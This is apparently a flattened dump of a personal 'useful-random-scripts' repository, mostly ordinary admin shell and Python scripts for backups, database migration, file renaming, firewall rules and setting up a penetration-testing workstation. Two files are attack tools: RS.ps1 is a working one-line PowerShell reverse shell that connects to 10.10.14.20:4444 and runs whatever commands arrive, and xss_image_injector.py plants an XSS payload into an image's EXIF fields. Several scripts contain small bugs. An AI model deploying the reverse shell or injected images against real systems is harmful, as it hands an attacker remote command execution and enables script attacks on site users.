├── CMYKtoRGB.py ├── DNS_enum.sh ├── README.md ├── RS.ps1 ├── clean_backup.sh ├── ddbb_fix_migration.sh ├── initial_script.sh ├── iptables.sh ├── massive_update_repos.sh ├── remove_lang_trash.sh ├── simple_db_connection.py ├── sonarqube.sh ├── space_to_underscore.sh ├── w3af_installer.sh └── xss_image_injector.py /CMYKtoRGB.py: -------------------------------------------------------------------------------- 1 | from PIL import Image 2 | import os 3 | 4 | result = [os.path.join(dp, f) for dp, dn, filenames in os.walk('/images') for f in filenames if os.path.splitext(f)[1] == '.jpg'] 5 | for portada in result: 6 | image = Image.open(portada) 7 | if image.mode == 'CMYK': 8 | image = image.convert('RGB').save(portada) 9 | print(portada+" converted") -------------------------------------------------------------------------------- /DNS_enum.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Simple Zone Transfer Bash Script 3 | # $1 is the first argument given after the bash script 4 | # Check if argument was given, if not, print usage 5 | if [ -z "$1" ]; then 6 | echo "[*] Simple Zone transfer script" 7 | echo "[*] Usage 8 | : $0 " 9 | exit 0 10 | fi 11 | # if argument was given, identify the DNS servers for the domain 12 | for server in $(host -t ns $1 |cut -d" " -f4);do 13 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # useful-random-scripts 2 | -------------------------------------------------------------------------------- /RS.ps1: -------------------------------------------------------------------------------- 1 | $client = New-Object System.Net.Sockets.TCPClient('10.10.14.20',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() -------------------------------------------------------------------------------- /clean_backup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | d=2019-01-01 3 | date_today=$(date '+%Y-%m-%d' -d "-10 days") 4 | while [ "$d" != $date_today ]; do 5 | echo $d 6 | # delete older files per day 7 | ls -t backup_abo4_$d* | tail -n +2 | xargs rm -- 8 | # newest file per day 9 | ls -t backup_abo4_$d* | head -n +1 | xargs mv {} archivo/ 10 | echo backup_abo4_$d* 11 | d=$(date -I -d "$d + 1 day") 12 | done -------------------------------------------------------------------------------- /ddbb_fix_migration.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | confirm() { 4 | # call with a prompt string or use a default 5 | read -r -p "${1:-Are you sure? [y/N]} " response 6 | case "$response" in 7 | [yY][eE][sS]|[yY]) 8 | true 9 | ;; 10 | *) 11 | false 12 | ;; 13 | esac 14 | } 15 | 16 | host=10.10.10.10 # CHANGE THIS 17 | password=Password # CHANGE THIS 18 | port=3306 # CHANGE THIS 19 | 20 | tables=( 21 | table1 # CHANGE THIS 22 | table2 # CHANGE THIS 23 | table3 # CHANGE THIS 24 | ) 25 | 26 | printf -- '\033[37m#################################################################################### \033[0m\n'; 27 | printf -- '\033[37m################################# MIGRATION START ################################## \033[0m\n'; 28 | printf -- '\033[37m#################################################################################### \033[0m\n'; 29 | printf -- '\n'; 30 | printf -- '\033[32m Downloading backup to ~/backups... \033[0m\n'; 31 | printf -- '\n'; 32 | # Download last backup over scp 33 | scp user@10.10.10.10://pat_to_mysl_backup/sql_backup*.sql.tar.gz ~/local_backup/ # CHANGE THIS 34 | printf -- '\033[32m Downloaded!!! \033[0m\n'; 35 | printf -- '\n'; 36 | 37 | printf -- '\033[37m################################## DUMP TABLES ##################################### \033[0m\n'; 38 | printf -- '\n'; 39 | 40 | for i in "${tables[@]}"; do 41 | printf -- '\033[32m Running sed in %s scheme and data... \033[0m\n' $i; 42 | #confirm 43 | ## INDEX AUTO INCREMENT FIX -- REMOVE THIS 44 | pv *_scheme_$i.sql|sed -r 's/AUTO_INCREMENT=[0-9]+/AUTO_INCREMENT=1/g' > $i.scheme_increment.sql 45 | pv *_data_$i.sql|sed -e "s/([0-9]*,/(NULL,/gi" > $i.null_good.sql 46 | printf -- '\033[32m Loading %s scheme and data... \033[0m\n' $i; 47 | #confirm 48 | pv $i.scheme_increment.sql|mysql -u user --password=$password -h $host -P $port DDBB_NAME 49 | #confirm 50 | pv $i.null_good.sql|mysql -u user --password=$password -h $host -P $port DDBB_NAME 51 | printf -- '\033[32m %s loaded!!! \033[0m\n' $i; 52 | printf -- '\n'; 53 | done 54 | 55 | printf -- '\033[37m#################################################################################### \033[0m\n'; 56 | printf -- '\033[37m################################# MIGRATION END #################################### \033[0m\n'; 57 | printf -- '\033[37m#################################################################################### \033[0m\n'; 58 | 59 | exit -------------------------------------------------------------------------------- /initial_script.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cat << "EOF" 3 | 4 | ################################################### 5 | 6 | ███████╗██╗██╗ ██╗██████╗ ██████╗ ███████╗███████╗ 7 | ██╔════╝██║╚██╗██╔╝╚════██╗██╔══██╗██╔════╝╚══███╔╝ 8 | ███████╗██║ ╚███╔╝ █████╔╝██║ ██║█████╗ ███╔╝ 9 | ╚════██║██║ ██╔██╗ ██╔═══╝ ██║ ██║██╔══╝ ███╔╝ 10 | ███████║██║██╔╝ ██╗███████╗██████╔╝███████╗███████╗ 11 | ╚══════╝╚═╝╚═╝ ╚═╝╚══════╝╚═════╝ ╚══════╝╚══════╝ 12 | 13 | ------------------INITIAL SCRIPT------------------- 14 | 15 | ################################################### 16 | 17 | EOF 18 | 19 | uname = 'uname -a' 20 | echo $uname 21 | 22 | printf -- '\n'; 23 | printf -- '\033[32m Change timezone and keyboard layout... \033[0m\n'; 24 | printf -- '\n'; 25 | # Change timezone, language and keyboard layout 26 | timedatectl set-timezone Europe/Madrid 27 | L='es' && sudo sed -i 's/XKBLAYOUT=\"\w*"/XKBLAYOUT=\"'$L'\"/g' /etc/default/keyboard 28 | 29 | 30 | printf -- '\n'; 31 | printf -- '\033[32m Adding SublimeText repository... \033[0m\n'; 32 | printf -- '\n'; 33 | #Adding Sublime repo 34 | wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | sudo apt-key add - 35 | sudo apt-get install apt-transport-https 36 | echo "deb https://download.sublimetext.com/ apt/dev/" | sudo tee /etc/apt/sources.list.d/sublime-text.list 37 | 38 | printf -- '\n'; 39 | printf -- '\033[32m Upgrading and installing packages... \033[0m\n'; 40 | printf -- '\n'; 41 | # Other stuff 42 | sudo apt update -y && sudo apt upgrade -y 43 | sudo apt install -y git zsh zsh-syntax-highlighting tmux vim neovim git openvpn network-manager-openvpn-gnome sublime-text flameshot lftp build-essential curl enum4linux gobuster nbtscan nikto nmap onesixtyone oscanner smbclient smbmap smtp-user-enum sslscan sipvicious tnscmd10g whatweb seclists tor python3 python3-pip unicornscan binwalk ghex exiftool libguestfs-tools pngcheck imagemagick rdesktop 44 | 45 | 46 | printf -- '\n'; 47 | printf -- '\033[32m OhmyZsh... \033[0m\n'; 48 | printf -- '\n'; 49 | sh -c "$(curl -fsSL https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)" 50 | 51 | printf -- '\n'; 52 | printf -- '\033[32m Installing Hack Nerd Font... \033[0m\n'; 53 | printf -- '\n'; 54 | # Installing hack nerd font 55 | wget https://github.com/ryanoasis/nerd-fonts/raw/master/patched-fonts/Hack/Regular/complete/Hack%20Regular%20Nerd%20Font%20Complete.ttf -P /usr/share/fonts 56 | fc-cache -fv 57 | 58 | printf -- '\n'; 59 | printf -- '\033[32m Installing Tilix terminal... \033[0m\n'; 60 | printf -- '\n'; 61 | # Tilix no longer in Kali repos 62 | TILIXURL="$(curl -Ls -o /dev/null -w %{url_effective} https://github.com/gnunn1/tilix/releases/latest)" 63 | wget TILIXURL/tilix.zip 64 | sudo unzip tilix.zip -d && sudo glib-compile-schemas /usr/share/glib-2.0/schemas/ 65 | ln -s /etc/profile.d/vte-2.91.sh /etc/profile.d/vte.sh 66 | 67 | printf -- '\n'; 68 | printf -- '\033[32m Installing Git Repos... \033[0m\n'; 69 | printf -- '\n'; 70 | mkdir -p $HOME/Repos && cd $HOME/Repos 71 | printf -- '\033[32m AutoRecon... \033[0m\n'; 72 | git clone https://github.com/Tib3rius/AutoRecon && cd AutoRecon 73 | pip3 install -r requirements.txt && cd .. 74 | printf -- '\033[32m My guide... \033[0m\n'; 75 | git clone https://github.com/six2dez/OSCP-Human-Guide && cd .. 76 | printf -- '\033[32m Karma... \033[0m\n'; 77 | git clone https://github.com/decoxviii/karma && cd .. 78 | sudo -H pip3 install git+https://github.com/decoxviii/karma.git --upgrade 79 | printf -- '\033[32m ffuf && golang ... \033[0m\n'; 80 | wget https://golang.org/doc/install?download=go1.13.5.linux-amd64.tar.gz 81 | tar -C /usr/local -xzf go1.12.1.linux-amd64.tar.gz 82 | echo 'export GOPATH=/root/go' >> $HOME/.bashrc 83 | echo 'export GOROOT=/usr/local/go' >> $HOME/.bashrc 84 | echo 'export PATH=$PATH:$GOROOT/bin:$GOPATH/bin' >> $HOME/.bashrc 85 | echo 'export GOPATH=/root/go' >> $HOME/.zshrc 86 | echo 'export GOROOT=/usr/local/go' >> $HOME/.zshrc 87 | echo 'export PATH=$PATH:$GOROOT/bin:$GOPATH/bin' >> $HOME/.zshrc 88 | source $HOME/.bashrc 89 | source $HOME/.zshrc 90 | go get github.com/ffuf/ffuf 91 | printf -- '\033[32m testssl ... \033[0m\n'; 92 | cd $HOME/Repos 93 | git clone --depth 1 https://github.com/drwetter/testssl.sh.git 94 | printf -- '\033[32m evil-winrm ... \033[0m\n'; 95 | cd $HOME/Repos 96 | git clone https://github.com/Hackplayers/evil-winrm 97 | gem install evil-winrm 98 | 99 | printf -- '\n'; 100 | printf -- '\033[32m DONE \033[0m\n'; 101 | printf -- '\n'; 102 | -------------------------------------------------------------------------------- /iptables.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | confirm() { 4 | read -r -p "${1:-Are you sure? [y/N]} " response 5 | case "$response" in 6 | [yY][eE][sS]|[yY]) 7 | true 8 | ;; 9 | *) 10 | false 11 | ;; 12 | esac 13 | } 14 | 15 | add_port() 16 | { 17 | iptables-save > /home/$SUDO_USER/tmp 18 | awk -v user=$SUDO_USER -v port=$PORT 'FNR==NR{ if (/-A INPUT/) p=NR; next} 1; FNR==p{ print "-A INPUT -p tcp -m tcp --dport "port" -m comment --comment \""user" reverse tcp\" -j ACCEPT"}' /home/$SUDO_USER/tmp /home/$SUDO_USER/tmp > /home/$SUDO_USER/tmp.tmp && mv /home/$SUDO_USER/tmp.tmp /home/$SUDO_USER/tmp 19 | iptables-restore < /home/$SUDO_USER/tmp 20 | } 21 | 22 | restore() 23 | { 24 | grep -vwE "($SUDO_USER.*$PORT|$PORT.*$SUDO_USER)" /home/$SUDO_USER/tmp > /home/$SUDO_USER/tmp.tmp && mv /home/$SUDO_USER/tmp.tmp /home/$SUDO_USER/tmp 25 | iptables-restore < /home/$SUDO_USER/tmp 26 | } 27 | 28 | help() 29 | { 30 | printf -- "\n" 31 | printf -- "usage: $0 [-arh] [-p port]\n" 32 | printf -- " -a add rule\n" 33 | printf -- " -r restore tmp's rules in your home\n" 34 | printf -- " -p port\n" 35 | printf -- " -h display this help\n" 36 | } 37 | 38 | 39 | RESTORE=0 40 | ADD=0 41 | PORT="" 42 | 43 | printf '\n'; 44 | printf '\033[1;32m################################# IPTABLES LOADER ################################## \033[0m\n'; 45 | printf '\n'; 46 | 47 | for arg in "$@" 48 | do 49 | case $arg in 50 | -a|--add) 51 | ADD=1 52 | shift 53 | ;; 54 | -h|--help) 55 | help 56 | exit 0 57 | ;; 58 | -r|--restore) 59 | RESTORE=1 60 | shift 61 | ;; 62 | -p|--port) 63 | PORT="$2" 64 | shift 65 | shift 66 | ;; 67 | -?*) 68 | printf '\033[1;31mWARN: Unknown option (ignored): %s\n \033[0m\n' "$1" >&2 69 | help 70 | exit 0 71 | ;; 72 | esac 73 | done 74 | 75 | if [ $ADD == 1 ]; then 76 | if [ -z "$PORT" ]; then 77 | printf '\033[1;31mWARN: Missing Port %s\n \033[0m\n' "$1" >&2 78 | else 79 | printf '\033[1;32m You will add port %s for user %s \n \033[0m\n' "$PORT" "$SUDO_USER">&2 80 | confirm 81 | add_port 82 | exit 0 83 | fi 84 | fi 85 | 86 | if [ $RESTORE == 1 ]; then 87 | if [ -z "$PORT" ]; then 88 | printf '\033[1;31mWARN: Missing Port %s\n \033[0m\n' "$1" >&2 89 | else 90 | printf '\033[1;32m You will restore port %s for user %s \n \033[0m\n' "$PORT" "$SUDO_USER">&2 91 | confirm 92 | restore 93 | exit 0 94 | fi 95 | fi 96 | 97 | exit 0 -------------------------------------------------------------------------------- /massive_update_repos.sh: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env bash 2 | 3 | # This script iterate over every subfolder where is executed and put the lastest master version. 4 | 5 | for dir in ./*/ 6 | do 7 | cd ${dir} 8 | git status >/dev/null 2>&1 9 | # check if exit status of above was 0, indicating we're in a git repo 10 | [ $(echo $?) -eq 0 ] && echo "Updating ${dir%*/}..." && git fetch --all && git reset --hard origin/master 11 | 12 | cd .. 13 | done 14 | -------------------------------------------------------------------------------- /remove_lang_trash.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #This script search in /root/frontend-static/dist and delete old files en each language. 3 | FRONT="/root/frontend-static/dist/*" 4 | for language in ${FRONT//:/ }; do 5 | dirname=$(basename $language) 6 | if [ $dirname != "mobile" ] 7 | then 8 | for bulk in ${language//:/ }/*; do 9 | fname=$(basename $bulk) 10 | fnamesuffix=${fname%%.*} 11 | find $language/$fnamesuffix.* -mtime +30 -type f -exec rm {} \; 12 | done 13 | fi 14 | done 15 | -------------------------------------------------------------------------------- /simple_db_connection.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import MySQLdb 3 | import sys 4 | 5 | if(len(sys.argv) < 4): 6 | print("Usage: %s HOST USER PASSWORD DBNAME\n" % sys.argv[0]) 7 | print("Eg: %s 10.10.10.10 root toor database1" % sys.argv[0]) 8 | exit() 9 | 10 | db = MySQLdb.connect(host=sys.argv[1], 11 | user=sys.argv[2], 12 | passwd=sys.argv[3], 13 | db=sys.argv[4]) 14 | 15 | # you must create a Cursor object. It will let 16 | # you execute all the queries you need 17 | cur = db.cursor() 18 | 19 | # Use all the SQL you like 20 | cur.execute("SELECT * FROM USERS") 21 | 22 | # print all the first cell of all the rows 23 | for row in cur.fetchall(): 24 | print row[0] 25 | 26 | db.close() -------------------------------------------------------------------------------- /sonarqube.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | FILE=`curl -s https://binaries.sonarsource.com/Distribution/sonar-scanner-cli/ | grep 'linux.zip"' | tail -1 | cut -d '"' -f 2` 3 | wget https://binaries.sonarsource.com/Distribution/sonar-scanner-cli/$FILE 4 | unzip sonar-scanner-cli-*.zip -d sonar-scanner-cli 5 | rm -f sonar-scanner-cli-*.zip 6 | ln -s /root/sonar-scanner-cli/bin/sonar-scanner /usr/bin/sonar-scanner 7 | ln -s /root/sonar-scanner-cli/bin/sonar-scanner-debug /usr/bin/sonar-scanner-debug -------------------------------------------------------------------------------- /space_to_underscore.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # USAGE: 3 | # chmod +x space_to_underscore.sh 4 | # cd /home/user/example 5 | # ~/space_to_underscore.sh 6 | 7 | # Check for proper priveliges 8 | [ "`whoami`" = root ] || exec sudo "$0" "$@" 9 | 10 | 11 | ####################### DIALOG ############################ 12 | echo -en "\n BEWARE! Starting from current directory (`pwd`)," 13 | echo -en " files and directories with spaces in name will be renamed automatically.\n" 14 | echo -en "\n Press \"ENTER\" to continue or \"N\" to exit:" 15 | read ops 16 | case "$ops" in 17 | n|N) 18 | echo -en "\n Canceled by User. Exiting...\n" 19 | exit 1 ;; 20 | *) 21 | echo -en "\n Begining...\n" ;; 22 | esac 23 | 24 | 25 | ################### SETUP VARIABLES ####################### 26 | number=0 # Number of renamed. 27 | number_not=0 # Number of not renamed. 28 | IFS=$'\n' 29 | array=( `find ./ -type d` ) # Find catalogs recursively. 30 | 31 | 32 | ######################## GO ############################### 33 | # Reverse cycle. 34 | for (( i = ${#array[@]}; i; )); do 35 | # Go in to catalog. 36 | pushd "${array[--i]}" >/dev/null 2>&1 37 | # Search of all files in the current directory. 38 | for name in * 39 | do 40 | # Check for spaces in names of files and directories. 41 | echo "$name" | grep -q " " 42 | if [ $? -eq 0 ] 43 | then 44 | # Replacing spaces with underscores. 45 | #newname=`echo $name | sed -e "s/ /_/g" | sed -e "s/[^A-Za-z0-9]/_/g"` 46 | newname=`echo $name | sed -e "s/[][*]\|[[:space:]]/_/g"` 47 | if [ -e $newname ] 48 | then 49 | let "number_not +=1" 50 | echo " Not renaming: $name" 51 | else 52 | # Plus one to number. 53 | let "number += 1" 54 | # Message about rename. 55 | echo "$number Renaming: $name" 56 | # Rename. 57 | mv "$name" "$newname" 58 | fi 59 | fi 60 | done 61 | # Go back. 62 | popd >/dev/null 2>&1 63 | done 64 | 65 | echo -en "\n All operations is complited." 66 | 67 | if [ "$number_not" -ne "0" ] 68 | then echo -en "\n $number_not not renamed." 69 | fi 70 | 71 | if [ "$number" -eq "0" ] 72 | then echo -en "\n Nothing been renamed.\n" 73 | elif [ "$number" -eq "1" ] 74 | then echo -en "\n $number renamed.\n" 75 | else echo -en "\n Renamed files and catalogs: $number\n" 76 | fi 77 | 78 | exit 0 -------------------------------------------------------------------------------- /w3af_installer.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | printf -- '\033[32m Cloning w3af repository... \033[0m\n'; 3 | printf -- '\n'; 4 | git clone --depth 1 https://github.com/andresriancho/w3af.git 5 | cd w3af/ 6 | printf -- '\033[32m Installing console dependecies... \033[0m\n'; 7 | printf -- '\n'; 8 | apt install graphviz libssl-dev libxml2 libxslt1.1 libxml2-dev libxslt-dev zlib1g-dev 9 | pip install pybloomfiltermmap==0.3.14 10 | pip install pyopenssl 11 | ./w3af_console 12 | bash /tmp/w3af_dependency_install.sh 13 | 14 | printf -- '\033[32m Installing gui dependecies... \033[0m\n'; 15 | printf -- '\n'; 16 | apt install libicu57 libpango1.0 libegl1-mesa 17 | wget http://ftp.us.debian.org/debian/pool/main/w/webkitgtk/libjavascriptcoregtk-1.0-0_2.4.11-3_amd64.deb 18 | dpkg -i libjavascriptcoregtk-1.0-0_2.4.11-3_amd64.deb 19 | wget http://ftp.us.debian.org/debian/pool/main/w/webkitgtk/libwebkitgtk-1.0-0_2.4.11-3_amd64.deb 20 | dpkg -i libwebkitgtk-1.0-0_2.4.11-3_amd64.deb 21 | dpkg -i python-webkit_1.1.8-3_amd64.deb 22 | bash /tmp/w3af_dependency_install.sh 23 | printf -- '\033[32m Launching w3af_gui!!!! \033[0m\n'; 24 | printf -- '\n'; 25 | ./w3af_gui 26 | # Now should launch w3af_gui woohooo! -------------------------------------------------------------------------------- /xss_image_injector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import sys 3 | import subprocess 4 | 5 | class bcolors: 6 | HEADER = '\033[95m' 7 | OKBLUE = '\033[94m' 8 | OKGREEN = '\033[92m' 9 | WARNING = '\033[93m' 10 | FAIL = '\033[91m' 11 | ENDC = '\033[0m' 12 | BOLD = '\033[1m' 13 | UNDERLINE = '\033[4m' 14 | 15 | if(len(sys.argv) < 2): 16 | print("Usage: %s IMAGEPATH XSSCODE\n" % sys.argv[0]) 17 | print("Eg: %s test.jpg ''" % sys.argv[0]) 18 | exit() 19 | 20 | exifs = [ 21 | "ImageDescription", 22 | "Make", 23 | "Model", 24 | "Software", 25 | "Artist", 26 | "Copyright", 27 | "XPTitle", 28 | "XPComment", 29 | "XPAuthor", 30 | "XPSubject", 31 | "Location", 32 | "Description", 33 | "Author" 34 | ] 35 | 36 | if sys.argv[1] and sys.argv[2]: 37 | image = sys.argv[1] 38 | xss = sys.argv[2] 39 | 40 | for exif in exifs: 41 | attribute = "-{0}={1}".format(exif, xss) 42 | try: 43 | subprocess.call(["exiftool", attribute, image]) 44 | except: 45 | print bcolors.FAIL + "No exiftool installed or found" + bcolors.ENDC 46 | exit() 47 | try: 48 | subprocess.call(["exiftool", image]) 49 | except: 50 | print "No exiftool installed or found" 51 | exit() 52 | else: 53 | print("No source image given") --------------------------------------------------------------------------------